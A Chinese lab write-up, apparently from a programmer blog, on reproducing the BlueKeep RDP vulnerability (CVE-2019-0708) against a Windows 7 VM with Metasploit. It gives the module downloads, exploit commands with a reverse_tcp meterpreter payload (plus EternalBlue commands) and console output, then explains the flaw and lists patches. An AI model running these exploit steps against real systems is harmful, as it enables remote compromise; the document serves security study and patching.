欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE20190708复现

程序员文章站 2022-07-15 15:02:11
...

一、实验环境
基于虚拟机运行(VMware)
(1)靶机(ip:192.168.8.*):
CVE20190708复现
(2)测试机(192.168.8.#):
CVE20190708复现
(3)将两个虚拟机设置于同一个网段中
a.在虚拟网络编辑器中,将VMnet0采用桥接模式,并桥接到网线网上
CVE20190708复现
b.设置win7为动态获取ip
CVE20190708复现
c.打开/etc/network/interfaces文件,做如下修改,并保存,重启kali
CVE20190708复现
eth0接口会在系统启动时被自动配置,以DHCP方式配置网卡.
d.两台主机互ping
win7
CVE20190708复现
kaliCVE20190708复现
互ping测试(关掉防火墙)

CVE20190708复现
测试可以ping通,现在测试机和靶机在同一网段了。
(3)将靶机的相应端口打开
CVE20190708复现
在防火墙中更改入站设置,同时关闭防火墙,打开3389端口
CVE20190708复现
观察可知,3389端口已打开
CVE20190708复现
二、攻击准备(kali中操作)
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

进入框架:msfconsole
使用search命令查找相关漏洞: search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息: info
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数:show options
设置参数:set RHOST 192.168.125.138
攻击:exploit / run

(1)更新kali msf

apt-get update
apt-get  install metasploit-framework

(2)下载利用脚本

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

(3)移动到对应的目录

mv rdp.rb  /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
mv rdp_scanner.rb  /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
mv cve_2019_0708_bluekeep.rb   /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
mv cve_2019_0708_bluekeep_rce.rb   /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

将我需要利用的漏洞载入相关的攻击模块中

(注意:/usr/share/metasploit-framework/modules/exploits/windows/下面不一定存在rdp目录,不存在时手动创建)
(4)开始攻击

msfconsole --进入msf
reload_all --重新载入所有的模块
search cve_2019_0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.8.*** --设置靶机ip
set target 3 --3代表目标机器架构为VMware、2代表目标架构是virtulbox
exploit --开始攻击
Kali中的执行过程

aaa@qq.com:~# msfconsole
[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: No database YAML file
[-] ***
                                                  

                        


       =[ metasploit v5.0.53-dev                          ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > reload_all
[*] Reloading modules from all module paths...

             

       =[ metasploit v5.0.53-dev                          ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search cve_2019_0708

Matching Modules
================

   #  Name                                            Disclosure Date  Rank    Check  Description
   -  ----                                            ---------------  ----    -----  -----------
   0  auxiliary/scanner/rdp/cve_2019_0708_bluekeep    2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
   1  exploit/windows/rdp/cve_2019_0708_bluekeep_rce  2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free


msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce  (使用漏洞)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.8.*  (设置靶机的ip)
rhosts => 192.168.8.*
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 3
target => 3    (在VMware上攻击)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Started reverse TCP handler on 192.168.8.#:4444     4444开始反向TCP处理程序
[*] 192.168.8.*:3389    - Detected RDP on 192.168.8.*:3389  ## 在192.168.8.*:3389上检测到RDP (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.8.*:3389    - The target is vulnerable.(可以攻击)
[*] 192.168.8.*:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028600000, Channel count 1.
[*] 192.168.8.*:3389 - Surfing channels ...
[*] 192.168.8.*:3389 - Lobbing eggs ...
[*] 192.168.8.*:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.

攻击效果:

CVE20190708复现

三、原理分析
1.漏洞原理
远程桌面协议(RDP)支持客户端和服务器之间的连接,并且以虚拟信道的形式定义了它们之间通信的数据。虚拟信道是双向数据管道,可以针对RDP实现扩展。 Windows Server 2000使用RDP 5.1定义了32个静态虚拟信道(Static Virtual Channel, SVC),由于信道数量的限制,进一步定义了动态虚拟信道(Dynamic Virtual Channel, DVC),这些信道包含在专用SVC中。 SVC在会话开始时创建并保持到会话终止,而DVC将会根据是否需要确定是否创建和抛弃。
a.如下图所示: RDP连接序列在信道安全属性设置之前就进行了连接和设置,这为CVE-2019-0708的创建和传播提供了条件。
CVE20190708复现
如上图所示,RDP Security Commencement在Channel Connection之后

b.漏洞流量分析: “MS_T120”这个SVC名称在RDP协议的GCC Conference初始化序列时被绑定为数字31的参考信道。此信道名称由Microsoft内部使用,在客户端没有明显的、合法的使用以“MS_T120”命名的SVC来发起请求进行连接的用例,然而,在GCC Conference初始化期间,攻击者可以在31之外的信道上设置另一个名为”MS_T120”的SVC,这种行为将会导致堆内存破坏,最终可以实现远程代码执行。
详细原理可参考一个大佬写的原理:
https://www.codercto.com/a/83475.html

2.漏洞修补
目前受影响Windows版本

Microsoft Windows XP 

Microsoft Windows Server 2008 R2 for x64-based Systems SP1

Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1

Microsoft Windows Server 2008 for x64-based Systems SP2

Microsoft Windows Server 2008 for Itanium-based Systems SP2

Microsoft Windows Server 2008 for 32-bit Systems SP2

Microsoft Windows Server 2003 

Microsoft Windows 7 for x64-based Systems SP1

Microsoft Windows 7 for 32-bit Systems SP1

解决方案
修复建议:
(1)及时安装微软发布的安全更新补丁:
Microsoft官方已经在 2019年5月14日修复了该漏洞,用户可以通过安装微软的安全更新来给系统打上安全补丁,下载地址为:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
同时针对已不受微软更新支持的系统Windows Server 2003和Windows XP提供的安全更新,下载地址:https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708

实验体会:在实验复现的环节你可能会遇到各种的无解问题,在此过程中需要你一步步的耐心摸索,我也是加了很多个班才搞出来的,在实验中,切记要连在同一个网段内,注意攻击模块的更新,以及VM的版本。只要坚持,搞出来是不成问题的!

相关标签: 漏洞 CVE